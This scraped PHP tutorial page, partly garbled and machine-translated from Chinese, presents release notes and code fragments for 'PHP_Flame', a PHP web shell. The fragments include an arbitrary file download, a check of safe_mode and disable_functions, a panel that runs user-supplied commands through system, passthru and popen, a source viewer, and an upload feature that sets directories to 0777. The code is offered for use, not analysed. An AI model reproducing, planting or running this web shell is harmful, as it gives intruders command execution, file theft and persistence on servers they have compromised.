Home  >  Article  >  Backend Development  >  Original code of PHP_Flame(Version:Progress)_PHP tutorial

Original code of PHP_Flame(Version:Progress)_PHP tutorial

WBOY
WBOYOriginal
2016-07-21 16:09:24903browse


I Some information about PHP_Flame (Version: Progress):



*Fixed the BUG of being unable to download files
*Fixed the BUG of being unable to return to the previous level
*Fixed the appearance of code editing Wrong BUG
......

* Add the function of PHPINFO
* Add the function of downloading multiple files
* Add the function of executing system commands
* Add the code view Features
* Added server security detection function
.....

* There are also many beautification works. . . . . . Related information:


1. Fixed the bug code that cannot return to the previous level:
echo "Return to the previous level";


2. Corrected the code related to the inability to download files:
case "download":
if (!@is_file($_GET['file_name']))
echo "The file you want to download does not exist";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;



3. Add code viewing function
File code


4. Fixed an error in code editing:
$tem= str_replace("/textarea>","//textarea>",$tem);
. . . . .
$tem= str_replace("//textarea>","/textarea>",$tem);


5. Add server security detection function:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var( "disable_functions");
if ($dis_func=="")
{
echo("no value" );
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","< ;br>",$dis_func);
echo("$dis_func");
}


6.执行系统命令部分的代码:
if ($actionaa=="cmd") { ?>










if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME
";
echo "* Author: JSW
";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

echo "
* Now please choose a function and enter the command......";
}
echo "
"; <br>if ($method=="system") { <br>system("$cmd 2>&1"); <br>} <br>if ($method=="passthru") { <br>passthru("$cmd 2>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$filen"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//echo show_source($file); <br>//echo "
";
} else {
echo "<script> alert("unable to read file: $file using: show_source"); </script>";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "";
exit;
}
?>

7。增加文件上载的代码:
if($dir=="")
$dir="./";
?>
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传
";
}
else
echo $source_name."请重新上传!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传
";
}
}
}//end for
echo"


JSW'S PHP FLAME






















  • 1.指定上传目录(默认为本程序所在目录)



  • 2.需要上传的个数(建议最大值 20)



  • 3.全部文件都覆盖上传:





  • 您的文件将被上传到: $dir

    返回PHP_Flame
    文件1:






    ";
    exit;}
    ?>


    。。。。。。
    最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码: http://jsw.china12e.com/jswsoft/show.php

    www.bkjia.comtruehttp://www.bkjia.com/PHPjc/314542.htmlTechArticleIPHP_Flame (Version: Progress ) 的一些信息: *修正了无法下载文件的BUG *修正了无法返回上级的BUG *修正了代码编辑出现错误的BUG ...... *增加PHPI...
    Statement:
    The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn